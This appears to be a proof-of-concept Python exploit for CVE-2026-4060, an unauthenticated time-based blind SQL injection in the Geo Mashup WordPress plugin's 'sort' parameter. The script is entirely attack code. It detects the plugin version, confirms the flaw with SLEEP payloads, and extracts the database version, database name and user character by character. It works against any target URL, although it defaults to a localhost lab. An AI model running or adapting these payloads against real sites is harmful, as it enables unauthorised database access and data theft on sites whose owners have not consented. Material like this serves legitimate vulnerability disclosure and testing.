README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-4060 - Geo Mashup <= 1.13.18 Unauthenticated Time-Based SQL Injection PoC
Vulnerability: The `sort` parameter in render-map.php is not properly sanitized,
allowing unauthenticated attackers to inject SQL via time-based blind technique.
Affected endpoint: /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>
"""
import argparse
import time
import urllib.parse
import urllib.request
SLEEP_SECONDS = 5
TIMEOUT = SLEEP_SECONDS + 5
# ASCII ordinals to brute-force (printable: 45='-', 46='.', 48-57=digits, 65-90=A-Z, 97-122=a-z)
ORDINALS = [45, 46, 58, 64] + list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123))
def request(url, timeout=10):
try:
req = urllib.request.Request(
url,
headers={"User-Agent": "Mozilla/5.0"},
)
start = time.time()
with urllib.request.urlopen(req, timeout=timeout) as resp:
body = resp.read().decode("utf-8", errors="ignore")
elapsed = time.time() - start
return body, elapsed
except Exception as e:
elapsed = time.time() - start if "start" in dir() else 0
return "", elapsed
def check_plugin(base_url):
url = base_url.rstrip("/") + "/wp-content/plugins/geo-mashup/readme.txt"
body, _ = request(url)
if "Geo Mashup" not in body:
print("[-] Geo Mashup plugin not found. Is the lab running?")
return False, None
version = None
for line in body.splitlines():
if line.strip().startswith("Stable tag:"):
version = line.split(":", 1)[1].strip()
break
print(f"[+] Geo Mashup detected — version: {version}")
return True, version
def confirm_sqli(base_url):
"""Confirm time-based SQLi with SLEEP(SLEEP_SECONDS)."""
payload = f"(SELECT(0)FROM(SELECT(SLEEP({SLEEP_SECONDS})))a)"
encoded = urllib.parse.quote(payload)
url = f"{base_url.rstrip('/')}/?geo_mashup_content=render-map&map_content=global&sort={encoded}"
print(f"[*] Sending SLEEP({SLEEP_SECONDS}) payload...")
body, elapsed = request(url, timeout=TIMEOUT)
if elapsed >= SLEEP_SECONDS and "GeoMashup.createMap" in body:
print(f"[+] SQLi confirmed! Response delayed {elapsed:.2f}s")
return True
else:
print(f"[-] No delay detected ({elapsed:.2f}s). Injection may not be working.")
return False
def extract_char(base_url, query, position, verbose=False):
"""Check each ASCII ordinal at position using ORD() to avoid quote escaping."""
for ordinal in ORDINALS:
payload = (
f"(SELECT(0)FROM(SELECT(IF("
f"ORD(SUBSTRING(({query}),{position},1))={ordinal},"
f"SLEEP({SLEEP_SECONDS}),0"
f")))a)"
)
encoded = urllib.parse.quote(payload)
url = f"{base_url.rstrip('/')}/?geo_mashup_content=render-map&map_content=global&sort={encoded}"
if verbose:
print(f" [payload] sort=...IF(ORD(SUBSTRING(({query}),{position},1))={ordinal}, SLEEP({SLEEP_SECONDS}), 0)...", end=" ", flush=True)
_, elapsed = request(url, timeout=TIMEOUT)
if elapsed >= SLEEP_SECONDS:
if verbose:
print(f"→ {elapsed:.2f}s ✓ '{chr(ordinal)}'")
return chr(ordinal)
else:
if verbose:
print(f"→ {elapsed:.2f}s")
return None
def extract_data(base_url, query, label, max_len=20, verbose=False):
print(f"[*] Extracting {label} via time-based blind SQLi...")
result = ""
for i in range(1, max_len + 1):
char = extract_char(base_url, query, i, verbose=verbose)
if char is None:
break
result += char
if not verbose:
print(f" [{i}] {result}", end="\r")
print(f"[+] {label}: {result} ")
return result
def main():
parser = argparse.ArgumentParser(description="CVE-2026-4060 PoC")
parser.add_argument("--url", default="http://localhost:8080", help="Target WordPress base URL")
parser.add_argument("--confirm-only", action="store_true", help="Only confirm SQLi, skip data extraction")
parser.add_argument("--verbose", action="store_true", help="Show each SQL payload and response time")
args = parser.parse_args()
print("=" * 60)
print("CVE-2026-4060 — Geo Mashup SQLi PoC")
print(f"Target: {args.url}")
print("=" * 60)
found, version = check_plugin(args.url)
if not found:
return
if not confirm_sqli(args.url):
return
if args.confirm_only:
print("[*] --confirm-only flag set. Stopping here.")
return
# Extract interesting data
extract_data(args.url, "VERSION()", "DB version", max_len=15, verbose=args.verbose)
extract_data(args.url, "DATABASE()", "Current DB", max_len=20, verbose=args.verbose)
extract_data(args.url, "USER()", "DB user", max_len=30, verbose=args.verbose)
print("\n[+] Done.")
if __name__ == "__main__":
main()